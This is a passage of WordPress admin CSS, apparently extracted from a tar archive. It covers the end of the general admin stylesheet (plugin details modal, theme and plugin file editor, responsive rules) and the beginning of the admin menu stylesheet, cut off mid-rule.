*/ padding: 10px 26px 99999px; /* equal height column trick */ margin-bottom: -99932px; /* 67px less than the padding below to accommodate footer height */ } #section-holder .notice { margin: 5px 0 15px; } #section-holder .updated { margin: 16px 0; } #plugin-information .fyi { float: right; position: relative; top: 0; right: 0; padding: 16px 16px 99999px; /* equal height column trick */ margin-bottom: -99932px; /* 67px less than the padding below to accommodate footer height */ width: 217px; border-left: 1px solid #dcdcde; background: #f6f7f7; color: #646970; } #plugin-information .fyi strong { color: #3c434a; } #plugin-information .fyi h3 { font-weight: 600; text-transform: uppercase; font-size: 12px; color: #646970; margin: 24px 0 8px; } #plugin-information .fyi h2 { font-size: 0.9em; margin-bottom: 0; margin-right: 0; } #plugin-information .fyi ul { padding: 0; margin: 0; list-style: none; } #plugin-information .fyi li { margin: 0 0 10px; } #plugin-information .fyi-description { margin-top: 0; } #plugin-information .counter-container { margin: 3px 0; } #plugin-information .counter-label { float: left; margin-right: 5px; min-width: 55px; } #plugin-information .counter-back { height: 17px; width: 92px; background-color: #dcdcde; float: left; } #plugin-information .counter-bar { height: 17px; background-color: #f0c33c; /* slightly lighter than stars due to larger expanse */ float: left; } #plugin-information .counter-count { margin-left: 5px; } #plugin-information .fyi ul.contributors { margin-top: 10px; } #plugin-information .fyi ul.contributors li { display: inline-block; margin-right: 8px; vertical-align: middle; } #plugin-information .fyi ul.contributors li { display: inline-block; margin-right: 8px; vertical-align: middle; } #plugin-information .fyi ul.contributors li img { vertical-align: middle; margin-right: 4px; } #plugin-information-footer { padding: 13px 16px; position: absolute; right: 0; bottom: 0; left: 0; height: 40px; /* actual height: 40+13+13+1=67 */ border-top: 1px solid #dcdcde; background: #f6f7f7; } /* rtl:ignore */ #plugin-information .section { direction: ltr; } /* rtl:ignore */ #plugin-information .section ul, #plugin-information .section ol { list-style-type: disc; margin-left: 24px; } #plugin-information .section, #plugin-information .section p { font-size: 14px; line-height: 1.7; } #plugin-information #section-screenshots ol { list-style: none; margin: 0; } #plugin-information #section-screenshots li img { vertical-align: text-top; margin-top: 16px; max-width: 100%; width: auto; height: auto; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.3); } /* rtl:ignore */ #plugin-information #section-screenshots li p { font-style: italic; padding-left: 20px; } #plugin-information pre { padding: 7px; overflow: auto; border: 1px solid #c3c4c7; } #plugin-information blockquote { border-left: 2px solid #dcdcde; color: #646970; font-style: italic; margin: 1em 0; padding: 0 0 0 1em; } /* rtl:ignore */ #plugin-information .review { overflow: hidden; /* clearfix */ width: 100%; margin-bottom: 20px; border-bottom: 1px solid #dcdcde; } #plugin-information .review-title-section { overflow: hidden; /* clearfix */ } /* rtl:ignore */ #plugin-information .review-title-section h4 { display: inline-block; float: left; margin: 0 6px 0 0; } #plugin-information .reviewer-info p { clear: both; margin: 0; padding-top: 2px; } /* rtl:ignore */ #plugin-information .reviewer-info .avatar { float: left; margin: 4px 6px 0 0; } /* rtl:ignore */ #plugin-information .reviewer-info .star-rating { float: left; } /* rtl:ignore */ #plugin-information .review-meta { float: left; margin-left: 0.75em; } /* rtl:ignore */ #plugin-information .review-body { float: left; width: 100%; } .plugin-version-author-uri { font-size: 13px; } /* For non-js plugin installation screen ticket #36430. */ .update-php .button.button-primary { margin-right: 1em; } @media screen and (max-width: 771px) { #plugin-information-title.with-banner { height: 100px; } #plugin-information-title.with-banner h2 { margin-top: 30px; font-size: 20px; line-height: 2; max-width: 85%; } #plugin-information-title.with-banner div.vignette { height: 100px; } #plugin-information-tabs { overflow: hidden; /* clearfix */ padding: 0; height: auto; /* let tabs wrap */ } #plugin-information-tabs a.current { margin-bottom: 0; border-bottom: none; } #plugin-information .fyi { float: none; border: 1px solid #dcdcde; position: static; width: auto; margin: 26px 26px 0; padding-bottom: 0; /* reset from the two column height fix */ } #section-holder { position: static; margin: 0; padding-bottom: 70px; /* reset from the two column height fix, plus accommodate footer */ } #plugin-information .fyi h3, #plugin-information .fyi small { display: none; } #plugin-information-footer { padding: 12px 16px 0; height: 46px; } } /* Thickbox for the Plugin details modal. */ #TB_window.plugin-details-modal { background: #fff; } #TB_window.plugin-details-modal.thickbox-loading:before { content: ""; display: block; width: 20px; height: 20px; position: absolute; left: 50%; top: 50%; z-index: -1; margin: -10px 0 0 -10px; background: #fff url(../images/spinner.gif) no-repeat center; background-size: 20px 20px; transform: translateZ(0); } @media print, (min-resolution: 120dpi) { #TB_window.plugin-details-modal.thickbox-loading:before { background-image: url(../images/spinner-2x.gif); } } .plugin-details-modal #TB_title { float: left; height: 1px; } .plugin-details-modal #TB_ajaxWindowTitle { display: none; } .plugin-details-modal #TB_closeWindowButton { left: auto; right: -30px; color: #f0f0f1; } .plugin-details-modal #TB_closeWindowButton:hover, .plugin-details-modal #TB_closeWindowButton:focus { outline: none; box-shadow: none; } .plugin-details-modal #TB_closeWindowButton:hover::after, .plugin-details-modal #TB_closeWindowButton:focus::after { outline: 2px solid; outline-offset: -4px; border-radius: 4px; } .plugin-details-modal .tb-close-icon { display: none; } .plugin-details-modal #TB_closeWindowButton:after { content: "\f335"; content: "\f335" / ''; font: normal 32px/29px 'dashicons'; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } /* move plugin install close icon to top on narrow screens */ @media screen and (max-width: 830px) { .plugin-details-modal #TB_closeWindowButton { right: 0; top: -30px; } } /* @todo: move this. */ img { border: none; } /* Metabox collapse arrow indicators */ .sidebar-name .toggle-indicator::before, .meta-box-sortables .postbox .toggle-indicator::before, .meta-box-sortables .postbox .order-higher-indicator::before, .meta-box-sortables .postbox .order-lower-indicator::before, .bulk-action-notice .toggle-indicator::before, .privacy-text-box .toggle-indicator::before { content: "\f142"; content: "\f142" / ''; display: inline-block; font: normal 20px/1 dashicons; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-decoration: none; } .js .widgets-holder-wrap.closed .toggle-indicator::before, .meta-box-sortables .postbox.closed .handlediv .toggle-indicator::before, .bulk-action-notice .bulk-action-errors-collapsed .toggle-indicator::before, .privacy-text-box.closed .toggle-indicator::before { content: "\f140"; content: "\f140" / ''; } .postbox .handle-order-higher .order-higher-indicator::before { content: "\f343"; content: "\f343" / ''; color: inherit; } .postbox .handle-order-lower .order-lower-indicator::before { content: "\f347"; content: "\f347" / ''; color: inherit; } .postbox .handle-order-higher .order-higher-indicator::before, .postbox .handle-order-lower .order-lower-indicator::before { position: relative; top: 0.11rem; width: 20px; height: 20px; } .postbox .handlediv .toggle-indicator::before { width: 20px; border-radius: 50%; } .postbox .handlediv .toggle-indicator::before { position: relative; top: 0.05rem; text-indent: -1px; /* account for the dashicon glyph uneven horizontal alignment */ } .rtl .postbox .handlediv .toggle-indicator::before { text-indent: 1px; /* account for the dashicon glyph uneven horizontal alignment */ } .bulk-action-notice .toggle-indicator::before { line-height: 16px; vertical-align: top; color: #787c82; } .postbox .handle-order-higher:focus, .postbox .handle-order-lower:focus, .postbox .handlediv:focus { box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); border-radius: 50%; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .postbox .handle-order-higher:focus .order-higher-indicator::before, .postbox .handle-order-lower:focus .order-lower-indicator::before, .postbox .handlediv:focus .toggle-indicator::before { box-shadow: none; /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; } /* @todo: appears to be Press This only and overridden */ #photo-add-url-div input[type="text"] { width: 300px; } /* Theme/Plugin file editor */ .alignleft h2 { margin: 0; } #template textarea { font-family: Consolas, Monaco, monospace; font-size: 13px; background: #f6f7f7; tab-size: 4; } #template textarea, #template .CodeMirror { width: 100%; min-height: 60vh; height: calc( 100vh - 295px ); border: 1px solid #dcdcde; box-sizing: border-box; } #templateside > h2 { padding-top: 6px; padding-bottom: 7px; margin: 0; } #templateside ol, #templateside ul { margin: 0; padding: 0; } #templateside > ul { box-sizing: border-box; margin-top: 0; overflow: auto; padding: 0; min-height: 60vh; height: calc(100vh - 295px); background-color: #f6f7f7; border: 1px solid #dcdcde; border-left: none; } #templateside ul ul { padding-left: 12px; } #templateside > ul > li > ul[role=group] { padding-left: 0; } /* * Styles for Theme and Plugin file editors. */ /* Hide collapsed items. */ [role="treeitem"][aria-expanded="false"] > ul { display: none; } /* Use arrow dashicons for folder states, but hide from screen readers. */ [role="treeitem"] span[aria-hidden] { display: inline; font-family: dashicons; font-size: 20px; position: absolute; pointer-events: none; } [role="treeitem"][aria-expanded="false"] > .folder-label .icon:after { content: "\f139"; content: "\f139" / ''; } [role="treeitem"][aria-expanded="true"] > .folder-label .icon:after { content: "\f140"; content: "\f140" / ''; } [role="treeitem"] .folder-label { display: block; padding: 3px 3px 3px 12px; cursor: pointer; } /* Remove outline, and create our own focus and hover styles */ [role="treeitem"] { outline: 0; } [role="treeitem"] a:focus, [role="treeitem"] .folder-label.focus { color: #043959; /* Reset default focus style. */ box-shadow: none; /* Use an inset outline instead, so it's visible also over the current file item. */ outline: 2px solid var(--wp-admin-theme-color, #3858e9); outline-offset: -2px; } [role="treeitem"].hover, [role="treeitem"] .folder-label.hover { background-color: #f0f0f1; } .tree-folder { margin: 0; position: relative; } [role="treeitem"] li { position: relative; } /* Styles for folder indicators/depth */ .tree-folder .tree-folder::after { content: ""; display: block; position: absolute; left: 2px; border-left: 1px solid #c3c4c7; top: -13px; bottom: 10px; } .tree-folder > li::before { content: ""; position: absolute; display: block; border-left: 1px solid #c3c4c7; left: 2px; top: -5px; height: 18px; width: 7px; border-bottom: 1px solid #c3c4c7; } .tree-folder > li::after { content: ""; position: absolute; display: block; border-left: 1px solid #c3c4c7; left: 2px; bottom: -7px; top: 0; } /* current-file needs to adjustment for .notice styles */ #templateside .current-file { margin: -4px 0 -2px; } .tree-folder > .current-file::before { left: 4px; height: 15px; width: 0; border-left: none; top: 3px; } .tree-folder > .current-file::after { bottom: -4px; height: 7px; left: 2px; top: auto; } /* Lines shouldn't continue on last item */ .tree-folder > li:last-child::after, .tree-folder li:last-child > .tree-folder::after { display: none; } #theme-plugin-editor-selector, #theme-plugin-editor-label, #documentation label { font-weight: 600; } #theme-plugin-editor-label { display: inline-block; margin-bottom: 1em; } /* rtl:ignore */ #template textarea, #docs-list { direction: ltr; } .fileedit-sub #theme, .fileedit-sub #plugin { max-width: 40%; } .fileedit-sub .alignright { text-align: right; } #template p { width: 97%; } #file-editor-linting-error { margin-top: 1em; margin-bottom: 1em; } #file-editor-linting-error > .notice { margin: 0; display: inline-block; } #file-editor-linting-error > .notice > p { width: auto; } #template .submit { margin-top: 1em; padding: 0; } #template .submit input[type=submit][disabled] { cursor: not-allowed; } #templateside { float: right; width: 16em; word-wrap: break-word; } #postcustomstuff p.submit { margin: 0; } #templateside h4 { margin: 1em 0 0; } #templateside li { margin: 4px 0; } #templateside li:not(.howto) a, .theme-editor-php .highlight { display: block; padding: 3px 0 3px 12px; text-decoration: none; } #templateside li.current-file > a { padding-bottom: 0; } #templateside li:not(.howto) > a:first-of-type { padding-top: 0; } #templateside li.howto { padding: 6px 12px 12px; } .theme-editor-php .highlight { margin: -3px 3px -3px -12px; } #templateside .highlight { border: none; font-weight: 600; } .nonessential { color: #646970; font-size: 11px; font-style: italic; padding-left: 12px; } #documentation { margin-top: 10px; } #documentation label { line-height: 1.8; vertical-align: baseline; } .fileedit-sub { padding: 10px 0 8px; line-height: 180%; } #file-editor-warning .file-editor-warning-content { margin: 25px; } /* @todo: can we use a common class for these? */ .nav-menus-php .item-edit:before, .wp-customizer .control-section .accordion-section-title:after, .wp-customizer .accordion-section-title:after, .widget-top .widget-action .toggle-indicator:before { content: "\f140"; content: "\f140" / ''; font: normal 20px/1 dashicons; display: block; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-decoration: none; } .widget-top .widget-action .toggle-indicator:before { padding: 1px 2px 1px 0; border-radius: 50%; } .handlediv, .postbox .handlediv.button-link, .item-edit, .toggle-indicator { color: #646970; } .widget-action { color: #50575e; /* #fafafa background in the Widgets screen */ } .widget-top:hover .widget-action, .widget-action:focus, .handlediv:hover, .handlediv:focus, .postbox .handlediv.button-link:hover, .postbox .handlediv.button-link:focus, .item-edit:hover, .item-edit:focus, .sidebar-name:hover .toggle-indicator { color: #1d2327; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .widget-top .widget-action:focus .toggle-indicator:before { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } #customize-info.open .accordion-section-title:after, .nav-menus-php .menu-item-edit-active .item-edit:before, .widget.open .widget-top .widget-action .toggle-indicator:before, .widget.widget-in-question .widget-top .widget-action .toggle-indicator:before { content: "\f142"; content: "\f142" / ''; } /*! * jQuery UI Draggable/Sortable 1.11.4 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ .ui-draggable-handle, .ui-sortable-handle { touch-action: none; } /* Accordion */ .accordion-section { border-bottom: 1px solid #dcdcde; margin: 0; } .accordion-section.open .accordion-section-content, .no-js .accordion-section .accordion-section-content { display: block; } .accordion-section.open:hover { border-bottom-color: #dcdcde; } .accordion-section-content { display: none; padding: 10px 20px 15px; overflow: hidden; background: #fff; } .accordion-section-title { margin: 0; position: relative; border-left: 1px solid #dcdcde; border-right: 1px solid #dcdcde; -webkit-user-select: none; user-select: none; } .js .accordion-section-title { cursor: pointer; } .js .accordion-section-title:after { position: absolute; top: 12px; right: 10px; z-index: 1; } .accordion-section-title:focus { /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; } .accordion-section-title:hover:after, .accordion-section-title:focus:after { border-color: #a7aaad transparent; /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; } .cannot-expand .accordion-section-title { cursor: auto; } .cannot-expand .accordion-section-title:after { display: none; } .control-section .accordion-section-title, .customize-pane-child .accordion-section-title { border-left: none; border-right: none; padding: 10px 10px 11px 14px; line-height: 1.55; background: #fff; } .control-section .accordion-section-title:after, .customize-pane-child .accordion-section-title:after { top: calc(50% - 10px); /* Arrow height is 20px, so use half of that to vertically center */ } .js .control-section:hover .accordion-section-title, .js .control-section .accordion-section-title:hover, .js .control-section.open .accordion-section-title, .js .control-section .accordion-section-title:focus { color: #1d2327; background: #f6f7f7; } .control-section.open .accordion-section-title { /* When expanded */ border-bottom: 1px solid #dcdcde; } /* Edit Site */ .network-admin .edit-site-actions { margin-top: 0; } /* My Sites */ .my-sites { display: block; overflow: auto; zoom: 1; } .my-sites li { display: block; padding: 8px 3%; min-height: 130px; margin: 0; } @media only screen and (max-width: 599px) { .my-sites li { min-height: 0; } } @media only screen and (min-width: 600px) { .my-sites.striped li { background-color: #fff; position: relative; } .my-sites.striped li:after { content: ""; width: 1px; height: 100%; position: absolute; top: 0; right: 0; background: #c3c4c7; } } @media only screen and (min-width: 600px) and (max-width: 699px) { .my-sites li{ float: left; width: 44%; } .my-sites.striped li { background-color: #fff; } .my-sites.striped li:nth-of-type(2n+1) { clear: left; } .my-sites.striped li:nth-of-type(2n+2):after { content: none; } .my-sites li:nth-of-type(4n+1), .my-sites li:nth-of-type(4n+2) { background-color: #f6f7f7; } } @media only screen and (min-width: 700px) and (max-width: 1199px) { .my-sites li { float: left; width: 27.333333%; background-color: #fff; } .my-sites.striped li:nth-of-type(3n+3):after { content: none; } .my-sites li:nth-of-type(6n+1), .my-sites li:nth-of-type(6n+2), .my-sites li:nth-of-type(6n+3) { background-color: #f6f7f7; } } @media only screen and (min-width: 1200px) and (max-width: 1399px) { .my-sites li { float: left; width: 21%; padding: 8px 2%; background-color: #fff; } .my-sites.striped li:nth-of-type(4n+1) { clear: left; } .my-sites.striped li:nth-of-type(4n+4):after { content: none; } .my-sites li:nth-of-type(8n+1), .my-sites li:nth-of-type(8n+2), .my-sites li:nth-of-type(8n+3), .my-sites li:nth-of-type(8n+4) { background-color: #f6f7f7; } } @media only screen and (min-width: 1400px) and (max-width: 1599px) { .my-sites li { float: left; width: 16%; padding: 8px 2%; background-color: #fff; } .my-sites.striped li:nth-of-type(5n+1) { clear: left; } .my-sites.striped li:nth-of-type(5n+5):after { content: none; } .my-sites li:nth-of-type(10n+1), .my-sites li:nth-of-type(10n+2), .my-sites li:nth-of-type(10n+3), .my-sites li:nth-of-type(10n+4), .my-sites li:nth-of-type(10n+5) { background-color: #f6f7f7; } } @media only screen and (min-width: 1600px) { .my-sites li { float: left; width: 12.666666%; padding: 8px 2%; background-color: #fff; } .my-sites.striped li:nth-of-type(6n+1) { clear: left; } .my-sites.striped li:nth-of-type(6n+6):after { content: none; } .my-sites li:nth-of-type(12n+1), .my-sites li:nth-of-type(12n+2), .my-sites li:nth-of-type(12n+3), .my-sites li:nth-of-type(12n+4), .my-sites li:nth-of-type(12n+5), .my-sites li:nth-of-type(12n+6) { background-color: #f6f7f7; } } .my-sites li a { text-decoration: none; } /* =Media Queries -------------------------------------------------------------- */ /** * HiDPI Displays */ @media print, (min-resolution: 120dpi) { /* Back-compat for pre-3.8 */ div.star-holder, div.star-holder .star-rating { background: url(../images/stars-2x.png?ver=20121108) repeat-x bottom left; background-size: 21px 37px; } .spinner { background-image: url(../images/spinner-2x.gif); } } @media screen and (max-width: 782px) { html.wp-toolbar { padding-top: var(--wp-admin--admin-bar--height); } .screen-reader-shortcut:focus { top: -39px; } .block-editor-page .screen-reader-shortcut:focus { top: 7px; } .screen-reader-shortcut[href="#wp-toolbar"] { display: none; } body { min-width: 240px; overflow-x: hidden; } body * { -webkit-tap-highlight-color: rgba(0, 0, 0, 0) !important; } #wpcontent { position: relative; margin-left: 0; padding-left: 10px; } #wpbody-content { padding-bottom: 100px; } .wrap { clear: both; margin-right: 12px; margin-left: 0; } /* categories */ #col-left, #col-right { float: none; width: auto; } #col-left .col-wrap, #col-right .col-wrap { padding: 0; } /* Hidden Elements */ #collapse-menu, .post-format-select { display: none !important; } .wrap h1.wp-heading-inline { margin-bottom: 0.5em; } .wrap .add-new-h2, /* deprecated */ .wrap .add-new-h2:active, /* deprecated */ .wrap .page-title-action, .wrap .page-title-action:active { padding: 0 14px; font-size: 14px; white-space: nowrap; min-height: 40px; line-height: 2.71428571; vertical-align: middle; } /* Feedback Messages */ .notice, .wrap div.updated, .wrap div.error, .media-upload-form div.error { margin: 20px 0 10px; padding: 5px 10px; font-size: 14px; line-height: 175%; } .wp-core-ui .notice.is-dismissible { padding-right: 46px; } .notice-dismiss { padding: 13px; } .wrap .icon32 + h2 { margin-top: -2px; } .wp-responsive-open #wpbody { right: -16em; } code { word-wrap: break-word; word-wrap: anywhere; /* Firefox. Allow breaking long words anywhere */ word-break: break-word; /* Webkit: Treated similarly to word-wrap: break-word */ } /* General Metabox */ .postbox { font-size: 14px; } .metabox-holder h3.hndle, /* Back-compat for pre-4.4 */ .metabox-holder .stuffbox > h3, /* Back-compat for pre-4.4 */ .metabox-holder .postbox > h3, /* Back-compat for pre-4.4 */ .metabox-holder h2 { padding: 12px; } .nav-menus-php .metabox-holder h3 { padding: 0; } .postbox .handlediv { margin-top: 3px; } /* Subsubsub Nav */ .subsubsub { font-size: 16px; text-align: center; margin-bottom: 15px; } /* Theme/Plugin File Editor */ #template textarea, #template .CodeMirror { box-sizing: border-box; } #templateside { float: none; width: auto; } #templateside > ul { border-left: 1px solid #dcdcde; } #templateside li { margin: 0; } #templateside li:not(.howto) a { display: block; padding: 5px; } #templateside li.howto { padding: 12px; } #templateside .highlight { padding: 5px; margin-left: -5px; margin-top: -5px; } #template > div, #template .notice { float: none; margin: 1em 0; width: auto; } #template .CodeMirror, #template textarea { width: 100%; } #templateside ul ul { padding-left: 1.5em; } [role="treeitem"] .folder-label { display: block; padding: 5px; } .tree-folder > li::before, .tree-folder > li::after, .tree-folder .tree-folder::after { left: -8px; } .tree-folder > li::before { top: 0; height: 13px; } .tree-folder > .current-file::before { left: -5px; top: 7px; width: 4px; } .tree-folder > .current-file::after { height: 9px; left: -8px; } .wrap #templateside span.notice { margin-left: -5px; width: 100%; } .fileedit-sub .alignright { float: left; margin-top: 15px; width: 100%; text-align: left; } .fileedit-sub .alignright label { display: block; } .fileedit-sub #theme, .fileedit-sub #plugin { margin-left: 0; max-width: 70%; } .fileedit-sub input[type="submit"] { margin-bottom: 0; } #documentation label[for="docs-list"] { display: block; } #documentation select[name="docs-list"] { margin-left: 0; max-width: 60%; } #documentation input[type="button"] { margin-bottom: 0; } #wpfooter { display: none; } #comments-form .checkforspam { display: none; } .edit-comment-author { margin: 2px 0 0; } .filter-drawer .filter-group-feature input, .filter-drawer .filter-group-feature label { line-height: 2.1; } .filter-drawer .filter-group-feature label { margin-left: 32px; } .wp-filter .button.drawer-toggle { font-size: 13px; line-height: 2; height: 28px; } /* Fix help tab columns for smaller screens */ #screen-meta #contextual-help-wrap { overflow: visible; } #screen-meta #contextual-help-back, #screen-meta .contextual-help-sidebar { display: none; } #screen-meta .contextual-help-tabs { clear: both; width: 100%; float: none; } #screen-meta .contextual-help-tabs ul { margin: 0 0 1em; padding: 1em 0 0; } #screen-meta .contextual-help-tabs .active { margin: 0; } #screen-meta .contextual-help-tabs-wrap { clear: both; max-width: 100%; float: none; } #screen-meta, #screen-meta-links { margin-right: 10px; } #screen-meta-links { margin-bottom: 20px; /* Add margins beneath links for better spacing between boxes and elements */ } #screen-meta-links .show-settings:after { line-height: 1.9; } .wp-filter .search-form input[type="search"] { font-size: 1rem; } .wp-filter .search-form.search-plugins { /* This element is a flex item. */ min-width: 100%; } } /* Smartphone */ @media screen and (max-width: 600px) { /* Disable horizontal scroll when responsive menu is open since we push the main content off to the right. */ #wpwrap.wp-responsive-open { overflow-x: hidden; } html.wp-toolbar { padding-top: 0; } .screen-reader-shortcut:focus { top: 7px; } #wpbody { padding-top: 46px; } /* Keep full-width boxes on Edit Post page from causing horizontal scroll */ div#post-body.metabox-holder.columns-1 { overflow-x: hidden; } h1.nav-tab-wrapper, .wrap h2.nav-tab-wrapper, .nav-tab-wrapper { border-bottom: 0; } h1 .nav-tab, h2 .nav-tab, h3 .nav-tab, nav .nav-tab { margin: 10px 10px 0 0; border-bottom: 1px solid #c3c4c7; } .nav-tab-active:hover, .nav-tab-active:focus, .nav-tab-active:focus:active { border-bottom: 1px solid #c3c4c7; } .wp-filter .search-form.search-plugins label { width: 100%; } } @media screen and (max-width: 480px) { .metabox-prefs-container { display: grid; } .metabox-prefs-container > * { display: inline-block; padding: 2px; } } @media screen and (max-width: 320px) { /* Prevent default center alignment and larger font for the Right Now widget when the network dashboard is viewed on a small mobile device. */ #network_dashboard_right_now .subsubsub { font-size: 14px; text-align: left; } } css/admin-menu.css 0000644 00000044362 15233246127 0010116 0 ustar 00 #adminmenuback, #adminmenuwrap, #adminmenu, #adminmenu .wp-submenu { width: 160px; background-color: #1d2327; } #adminmenuback { position: fixed; top: 0; bottom: -120px; z-index: 1; /* positive z-index to avoid elastic scrolling woes in Safari */ /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; } .php-error #adminmenuback { position: absolute; } .php-error #adminmenuback, .php-error #adminmenuwrap { margin-top: 2em; } #adminmenu { clear: left; margin: 12px 0; padding: 0; list-style: none; } .folded #adminmenuback, .folded #adminmenuwrap, .folded #adminmenu, .folded #adminmenu li.menu-top { width: 36px; } /* New Menu icons */ /* hide background-image for icons above */ .menu-icon-dashboard div.wp-menu-image, .menu-icon-post div.wp-menu-image, .menu-icon-media div.wp-menu-image, .menu-icon-links div.wp-menu-image, .menu-icon-page div.wp-menu-image, .menu-icon-comments div.wp-menu-image, .menu-icon-appearance div.wp-menu-image, .menu-icon-plugins div.wp-menu-image, .menu-icon-users div.wp-menu-image, .menu-icon-tools div.wp-menu-image, .menu-icon-settings div.wp-menu-image, .menu-icon-site div.wp-menu-image, .menu-icon-generic div.wp-menu-image { background-image: none !important; } /*------------------------------------------------------------------------------ 7.0 - Main Navigation (Left Menu) ------------------------------------------------------------------------------*/ #adminmenuwrap { position: relative; float: left; z-index: 9990; } /* side admin menu */ #adminmenu * { -webkit-user-select: none; user-select: none; } #adminmenu li { margin: 0; padding: 0; } #adminmenu a { display: block; line-height: 1.3; padding: 2px 5px; color: #f0f0f1; } #adminmenu .wp-submenu a { color: #c3c4c7; color: rgba(240, 246, 252, 0.7); font-size: 13px; line-height: 1.4; margin: 0; padding: 5px 0; } #adminmenu .wp-submenu a:hover, #adminmenu .wp-submenu a:focus { background: none; } #adminmenu a:hover, #adminmenu li.menu-top > a:focus, #adminmenu .wp-submenu a:hover, #adminmenu .wp-submenu a:focus { color: #72aee6; } #adminmenu a:hover, #adminmenu a:focus, .folded #adminmenu .wp-submenu-head:hover { box-shadow: inset 4px 0 0 0 currentColor; transition: box-shadow .1s linear; border-radius: 0; } #adminmenu li.menu-top { border: none; min-height: 34px; position: relative; } #adminmenu .wp-submenu { list-style: none; position: absolute; top: -1000em; left: 160px; overflow: visible; word-wrap: break-word; padding: 6px 0; z-index: 9999; background-color: #2c3338; box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2); } .js #adminmenu .sub-open, .js #adminmenu .opensub .wp-submenu, #adminmenu a.menu-top:focus + .wp-submenu, .no-js li.wp-has-submenu:hover .wp-submenu { top: -1px; } #adminmenu a.wp-has-current-submenu:focus + .wp-submenu { top: 0; } #adminmenu .wp-has-current-submenu .wp-submenu, .no-js li.wp-has-current-submenu:hover .wp-submenu, #adminmenu .wp-has-current-submenu .wp-submenu.sub-open, #adminmenu .wp-has-current-submenu.opensub .wp-submenu { position: relative; z-index: 3; top: auto; left: auto; right: auto; bottom: auto; border: 0 none; margin-top: 0; box-shadow: none; } .folded #adminmenu .wp-has-current-submenu .wp-submenu { box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2); } /* ensure that wp-submenu's box shadow doesn't appear on top of the focused menu item's background. */ #adminmenu li.menu-top:hover, #adminmenu li.opensub > a.menu-top, #adminmenu li > a.menu-top:focus { position: relative; background-color: #1d2327; color: #72aee6; } .folded #adminmenu li.menu-top:hover, .folded #adminmenu li.opensub > a.menu-top, .folded #adminmenu li > a.menu-top:focus { z-index: 10000; } #adminmenu li.wp-has-current-submenu a.wp-has-current-submenu, #adminmenu li.current a.menu-top, #adminmenu .wp-has-current-submenu .wp-submenu .wp-submenu-head { background: #2271b1; color: #fff; } .folded #adminmenu .wp-submenu.sub-open, .folded #adminmenu .opensub .wp-submenu, .folded #adminmenu .wp-has-current-submenu .wp-submenu.sub-open, .folded #adminmenu .wp-has-current-submenu.opensub .wp-submenu, .folded #adminmenu a.menu-top:focus + .wp-submenu, .folded #adminmenu .wp-has-current-submenu a.menu-top:focus + .wp-submenu, .no-js.folded #adminmenu .wp-has-submenu:hover .wp-submenu { top: 0; left: 36px; } .folded #adminmenu a.wp-has-current-submenu:focus + .wp-submenu, .folded #adminmenu .wp-has-current-submenu .wp-submenu { position: absolute; top: -1000em; } #adminmenu .wp-not-current-submenu .wp-submenu, .folded #adminmenu .wp-has-current-submenu .wp-submenu { min-width: 160px; width: auto; border: 1px solid transparent; border-left-width: 5px; } #adminmenu .wp-submenu li.current, #adminmenu .wp-submenu li.current a, #adminmenu .opensub .wp-submenu li.current a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a, #adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus { color: #fff; } #adminmenu .wp-not-current-submenu li > a, .folded #adminmenu .wp-has-current-submenu li > a { padding-right: 16px; padding-left: 14px; /* Exclude from the transition the outline for Windows High Contrast mode */ transition: all .1s ease-in-out, outline 0s; } #adminmenu .wp-has-current-submenu ul > li > a, .folded #adminmenu li.menu-top .wp-submenu > li > a { padding: 5px 12px; } #adminmenu a.menu-top, #adminmenu .wp-submenu-head { font-size: 14px; font-weight: 400; line-height: 1.3; padding: 0; } #adminmenu .wp-submenu-head { display: none; } .folded #adminmenu .wp-menu-name { position: absolute; left: -999px; } .folded #adminmenu .wp-submenu-head { display: block; } #adminmenu .wp-submenu li { padding: 0; margin: 0; } #adminmenu .wp-menu-image img { padding: 9px 0 0; opacity: 0.6; filter: alpha(opacity=60); } #adminmenu div.wp-menu-name { padding: 8px 8px 8px 36px; overflow-wrap: break-word; word-wrap: break-word; -ms-word-break: break-all; word-break: break-word; hyphens: auto; } #adminmenu div.wp-menu-image { float: left; width: 36px; height: 34px; margin: 0; text-align: center; } #adminmenu div.wp-menu-image.svg { background-repeat: no-repeat; background-position: center; background-size: 20px auto; } div.wp-menu-image:before { color: #a7aaad; color: rgba(240, 246, 252, 0.6); padding: 7px 0; transition: all .1s ease-in-out; } #adminmenu div.wp-menu-image:before { color: #a7aaad; color: rgba(240, 246, 252, 0.6); } #adminmenu li.wp-has-current-submenu:hover div.wp-menu-image:before, #adminmenu .wp-has-current-submenu div.wp-menu-image:before, #adminmenu .current div.wp-menu-image:before, #adminmenu a.wp-has-current-submenu:hover div.wp-menu-image:before, #adminmenu a.current:hover div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before { color: #fff; } #adminmenu li:hover div.wp-menu-image:before, #adminmenu li a:focus div.wp-menu-image:before, #adminmenu li.opensub div.wp-menu-image:before { color: #72aee6; } .folded #adminmenu div.wp-menu-image { width: 35px; height: 30px; position: absolute; z-index: 25; } .folded #adminmenu a.menu-top { height: 34px; } /* Sticky admin menu */ .sticky-menu #adminmenuwrap { position: fixed; } ul#adminmenu a.wp-has-current-submenu { position: relative; } ul#adminmenu a.wp-has-current-submenu:after, ul#adminmenu > li.current > a.current:after { right: 0; border: solid 8px transparent; content: " "; height: 0; width: 0; position: absolute; pointer-events: none; border-right-color: #f0f0f1; top: 50%; 